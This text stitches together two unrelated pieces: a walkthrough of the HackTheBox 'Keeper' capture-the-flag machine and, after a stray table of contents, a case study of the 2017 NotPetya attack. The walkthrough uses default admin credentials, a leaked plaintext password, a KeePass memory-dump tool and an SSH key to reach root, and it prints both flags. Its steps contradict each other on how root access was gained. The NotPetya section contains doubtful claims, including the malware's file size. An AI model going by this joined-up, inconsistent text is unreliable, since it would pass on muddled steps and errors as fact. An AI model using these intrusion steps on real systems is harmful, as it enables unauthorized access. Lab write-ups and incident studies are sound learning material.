Welcome to the Keeper Capture The Flag (CTF) challenge, an exhilarating excursion into the realms of cybersecurity and penetration testing. This challenge encapsulates a multifaceted journey through a simulated environment, designed to test your skills in reconnaissance, exploitation, decryption, and privilege escalation. In this scenario, we’ll navigate a virtual landscape targeting a host with the IP address ‘10.10.11.227,’ armed with only a few open ports — 22 (SSH) and 80 (HTTP). our mission is to unearth vulnerabilities, exploit security loopholes, and progressively gain access, culminating in the capture of vital flags spread across the system.

Your journey begins with an initial scan, revealing two accessible ports and hinting at the opportunities and challenges that lie ahead. As you step into the fray, you’ll encounter an admin panel housing user profiles, ‘lnorgaard’ and ‘root,’ each serving as potential gateways to deeper system access. With meticulous observation and methodical exploration, you’ll uncover clues, passwords, and encrypted files that demand your expertise in decoding and exploitation.

Through this walkthrough, we’ll traverse each phase of the Keeper CTF challenge, meticulously outlining the steps taken to escalate privileges, decrypt secured files, and uncover critical flags. Prepare to engage in reconnaissance, leverage acquired information, utilize tools, and demonstrate your prowess in unraveling the intricacies of this simulated environment. Let’s embark on this quest together, navigating through the intricacies of cybersecurity to emerge victorious in capturing the elusive flags strewn across this virtual landscape.

Lets dive deep in it:-

Initial Reconnaissance

Establishing Connection

Let’s initiate the process by gaining access to the Linux system. To do so, we’ll start by downloading the VPN by going to “connect to HTB bar” and executing it via the terminal.

Network Reconnaissance

After establishing the VPN connection, we conducted an Nmap scan to explore and assess the target system. This comprehensive network reconnaissance allowed us to identify active hosts, discover open ports, and gain insights into the services running on the system

Web Interface Exploration

Upon reviewing the scan results, it was evident that the target host was active, showcasing two accessible ports: 22 for SSH and 80 for HTTP. Utilizing a web browser, we directed our attention to these ports, seeking potential web interfaces or services hosted on them.

Discovering Admin Panel

Upon following the provided link to raise an IT support ticket at “tickets.keeper.htb/rt/”, we encountered an error page, indicating the absence of the intended service or resource at that location. To troubleshoot and potentially access the desired content, we attempted to bypass this issue by adding the IP address and domain name associated with the target system to the “/etc/hosts” file.

Steps:

Open the /etc/hosts file:

• sudo nano /etc/hosts

Add the IP address and domain name

• 10.10.11.227 example.com

Save the file and exit the editor:

• Ctrl+O
• Ctrl+X
• Open a web browser and go to the IP address or domain name:
• http://10.10.11.227

Note: If you entered a domain name in the /etc/hosts file, you can go to the domain name instead of the IP address.

Default Login Credentials

Despite this effort to directly map the IP to the domain, our attempts to access the page persistently resulted in an error, suggesting potential configuration issues or the unavailability of the service. This obstacle prompted further investigation into alternative routes for gaining access or discovering additional entry points into the system.The website now load in the browser.

Upon reaching the login page displaying the version “4.4.4+dfsg-2ubuntu1,” we initiated a search for default or common login credentials associated with this specific version. Our investigation revealed that the default credentials for this exploit were commonly set as ‘root’ for the username and ‘password’ for the password. Utilizing this information, we attempted to log in to the system, leveraging these default credentials to gain access and explore potential vulnerabilities or access points within the interface.

User Profiles Exploration

Having identified the default login credentials, ‘root’ as the username and ‘password’ as the password, we successfully accessed the system.

Upon accessing the admin panel and navigating to the user dropdown, two user profiles were discovered: “lnorgaard” and “root”.

Delving into the “lnorgaard” profile, details revealed a Unix login username.

Further exploration uncovered a crucial comment within the profile: “initial password set to Welcome2023!” This comment potentially indicates the initial password associated with this user account, providing a starting point for further investigation and potential access to deeper levels of the system.

Exploitation and Decryption

SSH Access as ‘lnorgaard’

Successfully establishing an SSH connection using the credentials discovered earlier for ‘lnorgaard’ granted access to system, allowing entry into the user’s home directory.

Upon listing the directory contents, notable files were uncovered, including ‘KeePassDumpFull.dmp’, ‘passcodes.kdbx’, ‘RT30000.zip’, and ‘user.txt’. The ‘user.txt’ file, when accessed via the ‘cat’ command, revealed a cryptographic hash string ‘fd2df240b2b3d2fdfadb5c723fb70c45’, which is a part of the ongoing challenge or serve as a flag indicating progress within this CTF challenge.

SCP Command Usage:

• SCP (scp command) is used for securely transferring files between a local and a remote host.
• The command structure used: scp lnorgaard@10.10.11.227:~/RT30000.zip ./

Analyzing Dump File

From the above output it can be seen that we have an application dump file and another Keepass database file. Based on the files that we have our approach should be to analyze the dump file to find the master password for the database and then unlock it.

With a quick google search we can find a GitHub repository which can process the dump file and extract the master password from it.

As shown above, after cloning, you moved the files ‘KeePassDumpFull.dmp’ and ‘passcodes.kdbx’ from their original location to the ‘keepass-password-dumper’ directory.

Within this ‘keepass-password-dumper’ directory, there was a requirement to modify the architecture version from 7 to 6.

dotnet run KeePassDumpFull.dmp executed a script, Upon execution, the output from the command displayed the message “M}dgrød med fløde” in the terminal or command prompt.

• After encountering the message “M}dgrød med fløde,” we conducted a quick internet search using this phrase.
• The search led to the discovery of the password “rødgrød med fløde,” which seems to be a translation or variation of the encoded message obtained earlier.

Decoding Password

https://keeweb.info/

After attempting to decode the password using https://keeweb.info/, the previously discovered password was successfully decoded, revealing a PuTTY User Key.

Upon conducting a quick online search for “Putty-User-Key-File-3,” information was found indicating its association with puttygen, which is a tool commonly used to generate such key files. This insight suggested the next steps might involve utilizing puttygen or PuTTY-related methods to leverage this key for potential access or authentication on the system.

• Executed the command ssh -i keyfile lnorgaard@10.10.11.227 to connect to the server as the user 'lnorgaard' using the specified keyfile for authentication.
• Successfully accessed the Ubuntu system as 'root' after providing the necessary password.

Privilege Escalation and Flag Capture

• Ran ls command to list the contents of the 'root' user's home directory, revealing files 'root.txt', 'RT30000.zip', and a directory labeled 'SQL'.
• Accessed the 'root.txt' file using cat command, obtaining a cryptographic hash string 'c8389bf7263938d076fcb4d84dd14797'. This whic serve as our final flag.

Conclusion

In conclusion, the walkthrough details the systematic approach taken to navigate through the Keeper CTF challenge on the host with the IP address ‘10.10.11.227.’ The initial reconnaissance involved identifying open ports (22 and 80) through an Nmap scan. Setting up the host in the /etc/hosts file facilitated access to the web application, revealing an admin panel with user profiles 'lnorgaard' and 'root.'

The ‘lnorgaard’ profile yielded a Unix login username, and further exploration uncovered a comment hinting at the initial password. Utilizing this information, an SSH connection was established, granting access to the user’s home directory. Examination of directory contents exposed key files, including ‘KeePassDumpFull.dmp’ and ‘passcodes.kdbx.’ Moving these files to a designated directory and adjusting the architecture version, the dump file was analyzed using a tool obtained from a GitHub repository, uncovering a translated password.

Decoding the password using https://keeweb.info/ revealed a PuTTY User Key. A subsequent search on “Putty-User-Key-File-3” provided insights into the key’s generation. The final steps involved using the key to establish SSH connections as both ‘lnorgaard’ and ‘root.’ As ‘root,’ further investigation uncovered the ‘root.txt’ file, containing the conclusive cryptographic hash ‘c8389bf7263938d076fcb4d84dd14797,’ serving as the ultimate flag in completing the Keeper CTF challenge. This comprehensive walkthrough illustrates the combination of enumeration, exploitation, decoding, and privilege escalation steps to achieve the ultimate goal of capturing the flag.

Introduction

Background

Objective of the report

Development and Origins

Combination of notPetya

i. Initial Dropper

ii. Propagation Mechanism

iii. Credential Theft

iv. Encryption.

Global Reach and Affected Industries

Lessons Learned and Prevention Strategies

Future Outlook and Evolving Threat Landscape

Case studies

Technical aspect of the attack of Ukraine

Target and motivation of the attack

Hybrid warfare against Ukraine

Alternative theory

Effects of the attack

Ukraine

Rest of the world

Responses to the attack

Ukrainian government

Maersk

Microsoft

What should have been done?

Before attack

During the attack

After the attack

THE COST OF NOTPETYA

Conclusion: 18

Introduction

NotPetya was a destructive ransomware that emerged in 2017. It targeted Windows systems and caused widespread disruption. Though it initially appeared to be a ransomware attack, its true purpose was to cause damage rather than make money. NotPetya spread rapidly through networks, exploiting vulnerabilities and stolen credentials. It primarily targeted businesses and organizations, particularly in Ukraine. The malware caused significant operational disruptions and financial losses for many affected organizations. It is believed to have originated from Russia, although the exact motives and origins remain disputed. NotPetya served as a reminder of the need for strong cybersecurity measures and proactive strategies to protect against highly destructive malware.

Background

The NotPetya cyberattack, also known as ExPetr, occurred on June 27, 2017, and had a significant global impact. It targeted organizations across various industries, affecting both public and private sectors. Originating in Ukraine, the attack quickly spread to other countries, including Russia, the United States, the United Kingdom, and many European nations, disrupting critical infrastructure such as power grids, transportation systems, and financial institutions. Initially disguised as a variant of the Petya ransomware, NotPetya proved to be far more destructive and had different operational characteristics. Its primary objective appeared to be disruption rather than financial gain, setting it apart from traditional ransomware.

NotPetya utilized various techniques and tools to rapidly propagate within networks, exploiting vulnerabilities in Microsoft Windows systems, including the EternalBlue and EternalRomance exploits leaked by the group “The Shadow Brokers” in 2017. These exploits targeted weaknesses in the Server Message Block (SMB) protocol, enabling lateral movement and infecting interconnected systems. Even weeks after the initial outbreak, NotPetya continued to impact companies across multiple industries. Researchers discovered that NotPetya and Petya are unrelated, with the analyzed NotPetya binary identified as a variant of the “GoldenEye” Petya variant. However, it was not directly modified from the GoldenEye source but rather manually patched. This ransomware was potentially more devastating than WannaCry as it could spread without relying on vulnerable systems. Although patching was crucial to prevent its spread via the EternalBlue/EternalRomance exploits, NotPetya also harvested SMB and user credentials from infected hosts to propagate within networks. Therefore, just one infected machine within an organization could compromise the entire network.

NotPetya had a significant impact, causing severe disruptions and financial losses across various sectors, including banking, healthcare, manufacturing, logistics, and government entities. The attack exposed vulnerabilities in critical infrastructure, emphasizing the importance of robust cybersecurity measures in today’s digital world. The attribution of NotPetya remains under investigation and debate, with potential links to state-sponsored actors like the Russian military intelligence agency GRU. However, no definitive attribution has been officially confirmed.

Objective of the report:

i. Provide the background on the NotPetya cyberattack,

ii. Describe the combination of Notpetya.

iii. Present case study of Ukraine

Development and Origins:

NotPetya, a highly destructive ransomware, emerged as a modified version of the Petya ransomware. It leveraged two well-known exploits, EternalBlue and Mimikatz, targeting vulnerabilities in older versions of Windows.

EternalBlue, a powerful exploit, was originally developed by the U.S. National Security Agency (NSA) but was later disclosed in a significant data breach in early 2017. This exploit allowed unauthorized remote access to systems, enabling attackers to execute their own code. It became a widely sought-after tool by malicious actors due to its ability to penetrate systems and propagate rapidly. Mimikatz, on the other hand, was a proof-of-concept exploit publicly revealed by French security researcher Benjamin Delpy in 2011. This exploit demonstrated that user passwords stored in Windows machines’ memory could be extracted and used for various attacks, either manually or in automated, multi-user/multi-machine scenarios.

By combining the capabilities of EternalBlue and Mimikatz, NotPetya became a formidable weapon. Unlike traditional trojans, it did not require user interaction to spread, making it highly efficient. The malware propagated rapidly across networks, encrypting victims’ systems and files, rendering them inaccessible. The ransom demand was used as a cover, as the encryption process was irreversible, leading many to believe that the attackers’ primary intent was to cause widespread damage rather than financial gain.

The development and origins of NotPetya have been subject to intense speculation and attribution challenges. While security experts and intelligence agencies have linked the attack to state-sponsored actors, particularly the Russian military intelligence agency GRU, conclusive evidence establishing definitive attribution remains elusive. The attack primarily targeted organizations in Ukraine, leading to suspicions of geopolitical motivations given the tense relationship between Ukraine and Russia at the time. However, it is crucial to note that attributing cyberattacks accurately is a complex process often hindered by obfuscation techniques and false flags, making definitive conclusions difficult to reach.

Combination of notPetya:

NotPetya was a modified version of Petya, using two known exploits for older Windows versions: EternalBlue and Mimikatz. The former is a digital skeleton key that was disclosed in a catastrophic NSA data breach in early 2017. It enables outsiders’ remote access to run their own code. The latter is a proof-of-concept exploit made public in 2011 by Benjamin Delpy, a French security researcher. Delpy’s discovery showed that user passwords on Windows machines persisted in memory, and that they could be extracted from RAM and used for singular or automated, multi-user/multi-machine attacks. Together, these made NotPetya a perfect weapon. It did not require user action as a trojan would, and it was fast. It simply, and rapidly, traveled from one system to another, accessing admin credentials. A large Ukrainian bank’s network was taken down in 45 seconds, and part of the country’s transit hub was fully infected in 16 seconds.

NotPetya was primarily composed of the following components:

1. Initial Dropper: The attack started with a dropper, which was a small executable file or exploit that initiated the infection process. The dropper was typically delivered through compromised software update mechanisms or supply chains, specifically targeting the Ukrainian accounting software called ME.Doc. There is evidence that the attack started from a software called M.E.Doc, which was used widely in Ukraine, because it was demanded by the Ukrainian government to fill tax reports with it. The attackers first hijacked the M.E.Doc update servers. They gathered information from the servers and created a false update patch, which would be then distributed to all computers using the M.E.Doc software.
2. Propagation Mechanism: Once inside a network, NotPetya utilized various techniques to propagate itself laterally. It scanned for vulnerable Windows systems and exploited security weaknesses, such as the EternalBlue exploit (originally developed by the U.S. National Security Agency) that targeted the Server Message Block (SMB) protocol vulnerability.
3. Credential Theft: NotPetya also incorporated credential theft mechanisms then the malware started to intercept passwords and capture administrative privileges with a credential dumping tool like Mimikatz tool, to harvest login credentials from compromised systems. These stolen credentials were then used to move laterally across the network, gaining access to more systems and increasing the scope of the infection.
4. Encryption: NotPetya employed advanced encryption techniques to encrypt the Master File Table (MFT), which is a critical component of the NTFS file system. By encrypting the MFT, NotPetya effectively rendered the entire file system inaccessible. It used a combination of encryption algorithms, including the modified version of the open-source disk encryption tool DiskCryptor. The exact encryption algorithm used by NotPetya is not publicly disclosed, but it is believed to involve a combination of symmetric and asymmetric encryption methods. Symmetric encryption uses a single encryption key to both encrypt and decrypt data, while asymmetric encryption uses a pair of keys, consisting of a public key for encryption and a private key for decryption.

Global Reach and Affected Industries:

NotPetya had a global impact, affecting organizations across various industries. It heavily targeted industries such as finance, healthcare, manufacturing, shipping, and logistics. Large multinational corporations and critical infrastructure providers were particularly vulnerable to the attack.

1. Financial Losses: The financial consequences of the NotPetya attack were significant. Organizations faced direct costs related to ransom payments, recovery efforts, and legal expenses. Indirect costs, including business interruption, lost productivity, and reputational damage, were also substantial. The financial burden imposed by the attack placed a strain on the affected organizations.
2. Operational Disruptions: NotPetya caused widespread operational disruptions, leading to system downtime, loss of critical data, and delays in business operations. Some organizations struggled to fully recover from the attack, resulting in prolonged disruptions and service outages. The attack severely hampered the ability of affected organizations to maintain their normal functioning and meet customer demands.
3. Reputational Damage: The reputational damage inflicted by NotPetya was severe. Organizations that failed to adequately protect their systems and customer data suffered a loss of trust from their clients, stakeholders, and the public. Rebuilding trust and restoring a positive reputation proved to be a challenging and time-consuming process. The reputational fallout further compounded the overall impact of the attack on the affected organizations.

Lessons Learned and Prevention Strategies

1. Patch Management and Software Updates: Regularly applying patches and updates to systems and software is crucial to address vulnerabilities that can be exploited by malware like NotPetya. Organizations should prioritize timely patch management and ensure that all systems are up to date.
2. Robust Network Segmentation: Implementing strong network segmentation helps contain the spread of malware within a network. By dividing networks into isolated segments, organizations can limit the lateral movement of malware and minimize its impact.
3. Multifactor Authentication and Strong Password Policies: Enforcing strong password policies and implementing multifactor authentication adds an extra layer of security, reducing the risk of unauthorized access and credential theft.
4. Regular Data Backups and Offsite Storage: Regularly backing up data and storing it offsite or on isolated networks is crucial for system restoration in the event of an attack. Periodic testing of backups ensures their integrity and reliability.
5. Employee Awareness and Training: Educating employees about cybersecurity best practices, raising awareness about phishing attacks, and promoting safe browsing habits are essential. Regular training sessions and simulated phishing exercises can enhance employee awareness and reduce the likelihood of successful attacks.
6. Continuous Monitoring and Threat Hunting: Implementing continuous monitoring and proactive threat hunting measures allows organizations to detect and respond to potential threats in real-time. By monitoring network activity, analyzing logs, and employing advanced threat detection technologies, organizations can identify and mitigate threats before they cause significant damage.
7. Regular Security Assessments and Penetration Testing: Conducting regular security assessments and penetration testing helps identify vulnerabilities and weaknesses in an organization’s systems and infrastructure. By simulating real-world attacks, organizations can uncover potential entry points and address them proactively, strengthening their overall security posture.

Future Outlook and Evolving Threat Landscape

Technological Advancements and Adaptation: The future outlook of cybersecurity is closely tied to technological advancements and the ever-evolving threat landscape. As technology continues to advance, new vulnerabilities and attack vectors will emerge. It is crucial for organizations to adapt to these changes by continuously updating their security measures, staying informed about emerging threats, and leveraging advanced technologies to strengthen their defenses.

Artificial intelligence (AI) and machine learning (ML): Artificial intelligence (AI) and machine learning (ML) are expected to play a significant role in cybersecurity. These technologies can be used to analyze vast amounts of data, detect anomalies, and identify potential threats in real-time. AI-powered solutions can enhance threat detection, automate incident response, and improve overall security effectiveness.

Cloud computing and the Internet of Things (IoT): Cloud computing and the Internet of Things (IoT) present both opportunities and challenges. While cloud services offer scalability and flexibility, organizations must ensure robust security measures are in place to protect their data and applications. With the proliferation of IoT devices, securing interconnected networks and managing vulnerabilities in these devices will be crucial.

Defense and Detection Enhancements: As cyber threats become more sophisticated, defense and detection mechanisms need to keep pace. Next-generation firewalls, intrusion detection and prevention systems (IDPS), and advanced endpoint protection solutions are continually evolving to address emerging threats.

Threat intelligence platforms and sharing networks are becoming more prevalent, enabling organizations to access up-to-date threat information and collaborate with others in the industry. This collective approach strengthens the overall security posture by leveraging shared knowledge and experiences. Security automation and orchestration tools are gaining prominence, allowing organizations to automate routine security tasks, streamline incident response processes, and improve overall efficiency. By automating repetitive tasks, security teams can focus on more strategic activities such as threat hunting and proactive defense.

The integration of security into the development lifecycle, known as DevSecOps, is gaining traction. This approach emphasizes embedding security practices throughout the software development process, enabling organizations to identify and address vulnerabilities early on.

Case studies:

Technical aspect of the attack of Ukraine:

The NotPetya attack was a sophisticated and devastating ransomware attack that combined various techniques and vulnerabilities to infect systems and propagated rapidly across networks. It incorporated elements from earlier cyber-attacks and leveraged known vulnerabilities, making it a more advanced version of previous techniques. The attack shared similarities with the Petya ransomware attack from 2016, both in terms of code and lateral movement techniques. Additionally, it utilized code from the open-source application Mimikatz, which was created in 2011 to expose vulnerabilities in Microsoft systems. Mimikatz allowed NotPetya to steal credentials and escalate privileges, enabling further unauthorized access. The attack originated from the compromise of M.E. Doc, a widely used software in Ukraine for tax reporting. The attackers hijacked the M.E.Doc update servers and distributed a false update patch, which contained the attacker’s malware. When users downloaded and installed the fake update, the malware discreetly executed in the background.

The malware intercepted passwords and captured administrative privileges using credential dumping tools like Mimikatz. It then proceeded to encrypt files on all drives of the infected computer. After completing the encryption process, the malware set a timer to reboot the system and gain full control. During the reboot, a fake error message appeared, instructing users not to turn off the computer. Once the system restarted, a ransom note demanding payment in Bitcoins was displayed, although the malware was not designed to decrypt the files even if the ransom was paid. NotPetya had the ability to move laterally within networks, behaving like a worm. It employed multiple techniques to infect other computers, including stealing network credentials, reusing existing active sessions, and exploiting SMB vulnerabilities such as EternalBlue and EternalRomance. These vulnerabilities had been previously exploited in attacks like WannaCrypt. The combination of these techniques and vulnerabilities allowed NotPetya to infect and spread rapidly throughout networks, causing extensive damage. The attack was characterized by its destructive nature and lack of intention to decrypt files, highlighting its objective to maximize damage rather than financial gain.

Overall, the NotPetya attack demonstrated the sophistication and devastation that can arise from combining old techniques with known vulnerabilities. Its worm-like capabilities and rapid propagation made it a highly destructive version of ransomware, emphasizing the need for robust security measures to protect against similar attacks.

Target and motivation of the attack

Hybrid warfare against Ukraine

The NotPetya attack is believed to be part of Russian hybrid warfare against Ukraine. After the Russia’s annexation of Crimea in 2014, the relationship between Russia and Ukraine have been cold. There are evidence of Russian Federation backing up fighters against the Ukrainian government in Crimea. Ukraine is believed to be the main target of this cyber-attack. There are several evidence pointing to that statement. Of all the infected computers, 80% of them were in Ukraine. Also, the software M.E.Doc, which was used to carry out this attack is widely used in Ukraine as a tax filing software. This indicates that the attack was not a ransomware but designed to cause maximum destruction and disruption in Ukraine, and it spread unintentionally to other countries5 . Few experts believe that the outbreak was directed against businesses and government in Ukraine, and the attackers underestimated the spreading capabilities of the malware4 . The attack came on the eve of Ukrainian public holiday, the Constitution Day, which means that most government and business offices where empty at the time. This seems odd for ransomware, which needs humans to see the ransom note and pay to get their files decrypted. What was even more odd for ransomware, was that the malware overwrote and destroyed important files and drives, despite showing a ransom note ensuring the user that they could get their files back safely and easily. This indicates that the malware wasn’t designed for monetary purposes but to cripple the Ukrainian state. The ransomware made only 10 000 USD out of the payments of users but is estimated to cause over 10 billion USD worth of damage. The malware also had the ability to identify specific computer systems and bypass infection of those systems. This is believed to be a sign of a more surgical goal than just making money. Security experts also found a backdoor in the M.E.Doc update system which is believed to be installed as early as April 2017, over two months before the attack. The backdoor installation timing indicates clearly a well-planned and well-executed operation behind the NotPetya attack. Because of the large file size of the NotPetya malware, 1,5 gigabytes, it is also believed that there might be other backdoors that haven’t been found yet.

Data has been found showing that this is not the first attack by the same perpetrators. It is believed that either Telebots, Black Energy or Sandworm, all claimed to be backed up by the Russian Federation, is behind this attack. Traces have led to the conclusion that whoever was behind the NotPetya attack, was also behind the attack in December 2016 which was targeted against Ukrainian financial system. The traces lead also to the Petya attack being by the same perpetrators. US and UK have also claimed that Russia is behind this attack and that the Russian Main Intelligence Directorate designed NotPetya. Russia have denied all accusations, stating that Russian systems were also impacted by the attack. Despite denying responsibility for the attack, the Russian Federation also has some clear interests in carrying out an attack. In addition to paralyzing and causing damage to Ukraine, the attack could have served as a demonstration of Russia’s power in the cyber domain. A demonstration of power like this could be used as a deterrent against cyber-attacks planned against the Russian Federation. In this case denying the attack was merely a formality, and intentionally left people with a strong feeling that the Russian Federation was behind the attack. Lastly a point to support that NotPetya was a hybrid warfare attack against Ukraine is that a Ukrainian intelligence officer responsible of special forces was assassinated in the morning of the attack. He was killed by a car bomb in Kiev.

Alternative theory

As no concrete evidence have been found to tie Russian Federation or certain hacker group to the attack, it has been proposed that the attack was just a ransomware with monetary goals. It is believed that it’s the fault of the Intellect Service company, the company behind M.E.Doc accounting software. They had been warned multiple times of their lax security measures on their servers. The company had dismissed these warnings and consequently made it possible to infect computers through their servers.

Effects of the attack

The NotPetya attack has been called the most destructive and costly cyber-attack in history to that date. What started from Ukraine, spread for five days around the world infecting computers in the USA, Europe and Asia, before the actual attack was launched crippling more than 200 000 computers worldwide. The estimated damage of the whole attack is more than 10 billion USD.13 To put the attack in scale, WannaCry attack, just a month before the NotPetya attack, affected worldwide and is estimated to have caused damages from 4 to 8 billion USD.

Ukraine

As Ukraine was the main target of the attack, it was hit the hardest. The National Police of Ukraine was contacted by 1 500 legal entities and individuals reporting that they have been affected by the attack. More than 300 companies were hit and 10 % of all computers in Ukraine were estimated to be infected. Vital functions in society seemed to be the primary targets of the attack. “The government was dead”, said Ukrainian minister of infrastructure.16 Multiple ministries, central bank, state postal service and electricity companies were infected, and their computers went offline. The electricity companies though managed to continue operations fully without computers. One of the biggest banks in Ukraine Oshchadbank had to close all its over 3 000 physical branches and regained full functionality not until 3rd of July, almost a week after the attack. Over 90 % of their computers were infected by the malware. Because of the hit on central bank and most banks in Ukraine, all the ATMs were don’t for the day and no draws could be made. The metro system was also partially down as card payments didn’t work, but they still managed to keep the traffic going. Most facilities and companies that were infected couldn’t use their computers or smartphones, which meant that many of them resolved to use pen and paper as a backup. Chernobyl nuclear plant reported that they had to monitor radiation levels manually as they are ordinarily done by computers. The health ministry said that the attack took them back 30 years. They do central monitoring of drugs and it coordinate reallocation of them to hospitals that in need. This everyday task is usually done by one email to all 24 regions, but now they had to call the 24 regions by phone to reallocate one shipment.

Rest of the world

Although 80% of the infected computers were in Ukraine, the attack was still a global incident. Most of the companies outside Ukraine that were affected had branches in Ukraine, which gave the malware a steppingstone to spread outside Ukrainian borders. There were also few cases of companies that used the M.E.Doc software and weren’t in Ukraine but were still hit by the attack. There are reports that over a dozen countries, including Spain, India, Russia, Israel, Germany, the US and the UK, were infected by the malware.15 Maersk is the world’s largest shipping conglomerate situated in Copenhagen, Denmark. It represents close to a fifth of the entire world’s shipping capacity and was one of the major victims in the attack. Maersk had installed the M.E.Doc software on a single computer in a single port, but that was enough for the malware to spread through the whole company. 17 out of 76 of Maersk terminals had to be shutdown. This meant that tens of thousands of trucks were turned away on the gates. Luckily the ships’ computers were not infected, but without terminal software they were handicapped to do their job. It took Maersk almost two weeks to get their IT infrastructure back and running, and they reported over 300 million USD losses in revenues.16 Other big non-Ukrainian companies that were hit were pharmaceutical giant Merck, FedEx European operator TNT Express, French construction company SaintGoblin, food producer Mondelez and manufacturer Reckitt Benckiser. All these companies reported nine-figure costs because of the attack. Even Russian state oil company Rosneft was hit by the NotPetya attack.

Responses to the attack

As we have mentioned previously, the effect of the attack was large and widespread. Affecting multiple companies and causing financial damage worth billions of dollars. It is then appropriate to investigate how did different actors responded when noticing they were under attack. We will therefore go through what reactions we have found in our research from as Ukrainian government, Maersk and Microsoft.

Ukrainian government

Shortly after the cyber-attack the Ukrainian government issued a statement where they acknowledged that state institutions, financial institutions, power, private and transport sectors had all been affected. They were quick to place the blame on Russia without having any concrete evidence. In their statement they said that the attack was a “task-oriented destabilization of social and political situation in the country” and that “the virus is a cover of large-scale attack, oriented against Ukraine”. The Russian were quick to dismiss these allegations. Additionally, the Ukrainians mentioned suspicions against North Korea, but these were quickly dismissed as irrelevant. Later the government issued the M.E.Doc update servers to be seized by the police. This they hoped would put a stop to the further spreading of the virus. They had been able to prove that one of the employees’ computers demonstrated malicious activity. The security service of Ukraine also “published updated guidelines on protection of computers from virus-extorter attack”.10,11 It is also noteworthy that the United States and Britain formally blamed Russia for the attack.

Maersk

On June 27, 2017, people holding their laptops started to gather around the Maersk IT help desk. The computer screens contained red and black text instructing the owner not to turn off their computer due to a file system repairment. Other people’s computers were already fully infected and contained the following text: “oops, your important files are encrypted”. Suddenly all the computers in the office started to go black in quick succession. Panic quickly ensued and employees began advising others to keep their computers turned off. After two hours Maersk’s whole global network was shut down. All employees were now advised to shut down their computers and leave them by their desk along with their now useless digital phones. Most employees now simply left their stations due to being incapable of doing anything else. The company quickly continued operations without IT tools and managed to rebuild their IT infrastructure in 10 days. Finally, through what they described as the whole company coming together, they were able to recover. Lewis Woodcock, head of cybersecurity compliance commented that NotPetya served as a wake-up call and emphasized that a data recovery plan must always be in place. So, it seems that in this company’s case, although millions of dollars were lost, they learned from their mistake and realized that even if you are not the target of a cyber-attack, you could still be the victim.

Microsoft

In response to the NotPetya attack in Ukraine and considering Microsoft’s role as a major software provider, there are several actions that Microsoft could have taken or should consider taking to enhance security and mitigate similar attacks in the future:

i. Patch Management: Microsoft should prioritize timely and regular security patches and updates to address known vulnerabilities. This includes promptly releasing patches for critical vulnerabilities, especially those that have been actively exploited in previous attacks.

ii. Vulnerability Management: Microsoft should invest in robust vulnerability management processes, which involve comprehensive identification, assessment, and remediation of security vulnerabilities in their software. This can help prevent attackers from exploiting weaknesses in their products.

iii. Security Audits and Code Reviews: Conducting regular security audits and code reviews can help identify and address potential security vulnerabilities within Microsoft’s software. This proactive approach allows for the early detection and mitigation of security flaws.

iv. Security Awareness and Education: Microsoft should continue to educate users and administrators about the importance of security practices, such as maintaining strong passwords, enabling multi-factor authentication, and being cautious of suspicious emails or links. This can help prevent social engineering attacks that are often used to distribute malware.

v. Collaboration with Security Researchers: Microsoft should foster strong relationships with the security research community, encouraging responsible disclosure of vulnerabilities. Collaboration can lead to faster identification and resolution of security issues, strengthening the overall security posture of Microsoft’s products.

vi. Enhanced Default Security Configurations: Microsoft can enhance default security configurations in their software to ensure that users have a strong baseline level of security. This may include enabling certain security features by default, enforcing secure settings, and providing clear guidance on security best practices.

vii. Incident Response and Support: In the event of a security incident, Microsoft should provide swift and effective incident response support to affected organizations and individuals. This includes timely communication, guidance on mitigation measures, and assistance in recovering from attacks.

What should have been done?

What was particularly unfortunate in this attack was the fact that the exploits used to spread the malware were already known by the cyber security community. Additionally, Petya, a separate but very similar attack, had only recently been dealt with and was fresh in people’s minds. It is therefore odd that better measures have not been taken to prevent these types of attacks from happening. In this chapter we wish to discuss those things that should have been done before, during and after the attack.

Before attack

Before the initial spread of NotPetya there was a similar Petya malware attack. This malware, like NotPetya encrypted the file system and requested a ransom in the form of bitcoins. Seemingly very little action was taken to prevent this type of attack from happening again. Additionally, the M.E.Doc update servers were also previously breached to spread a different kind of attack, and yet still, NotPetya happened in the large scale that it did. Not only had there been a similar malware attack before NotPetya but also the same backdoor breach in the M.E.Doc update servers had been used previously by other assailants. The backdoor exploit was used not only once but three times and left without update since 2013, an extremely irresponsible lack of action by Intellect Service.6 First, fully securing and auditing the update servers should have been the topmost priority after the very first backdoor breach. Secondly, the Petya Microsoft patch had been available since March 2017. This patch fixes the SMB flaw exploited by EternalBlue that NotPetya was using to spread inside the networks. Lastly, companies should have been using the most recent operating systems. Most of the infected computers had been using an older version of Windows when Windows 10 was fully capable of deflecting this attack.

During the attack

The initial reaction during the attack was to keep computers offline. A reasonable and correct response in such a situation. First, the user could have checked for a file called “rundll32.exe” running in task manager. If this executable existed, it meant that your computer was infected by the malware and would upon restarts encrypt all your data. So, computers should be kept offline and on hold until the user gets more detailed information on what is happening and how to stop it. Interestingly, some sites were saved completely from the attack due to power outages. Security experts were then able to get their hands-on computers that were already infected but not activated and were able to research the virus that way. Companies then should have informed local authorities and work together to prevent further damage. Going into even more detail, there was also a possibility to ‘trick’ the malware into thinking it was already installed on the computer. The user could create a read only file called perfc and position it in the windows directory. This is the file that the malware looks for when it first runs, and if found will kill itself.

After the attack

Actions that should be taken after the attack are like the ones that should have been taken before it. Secure the update servers, update company computers containing the latest patches and start employee briefing. It is extremely important that as many people as possible are “cyber aware”. Meaning that they should be able to identify suspicious emails and know about best practices when it comes to deterring digital threats. Most importantly, companies should backup their data, so in case of a breach, they could at least partially recover. Also, companies should use reputable security suites that systematically check their file systems for malicious files.

THE COST OF NOTPETYA

In 2017, the malware NotPetya spread from the servers of an unassuming Ukrainian software firm to some of the largest businesses worldwide, paralyzing their operations. Here’s a list of the approximate damage reported by some of the worm’s biggest victims.

$870,000,000 à Pharmaceutical company Merck

$400,000,000 à Delivery company FedEx (through European subsidiary TNT Express) $384,000,000 à French construction company Saint-Gobain

$300,000,000 à Danish shipping company Maersk

$188,000,000 à Snack company Mondelez (parent company of Nabisco and Cadbury) $129,000,000 à British manufacturer Reckitt Benckiser (owner of Lysol and Durex condoms) $10BILLION à Total damages from NotPetya, as estimated by the White House

Conclusion:

The NotPetya cyberattack was a watershed moment in the realm of cybersecurity, leaving a lasting impact on organizations across the globe. Its destructive nature and widespread disruption exposed vulnerabilities in critical infrastructure, emphasizing the need for enhanced cybersecurity measures and preparedness in an increasingly interconnected and digital world.

This case study has delved into the origins and methodology of the NotPetya attack, highlighting its global reach and the industries it targeted. The financial losses and operational disruptions experienced by affected organizations underscored the need for proactive cybersecurity practices, including timely patch management, robust network segmentation, and multifactor authentication.

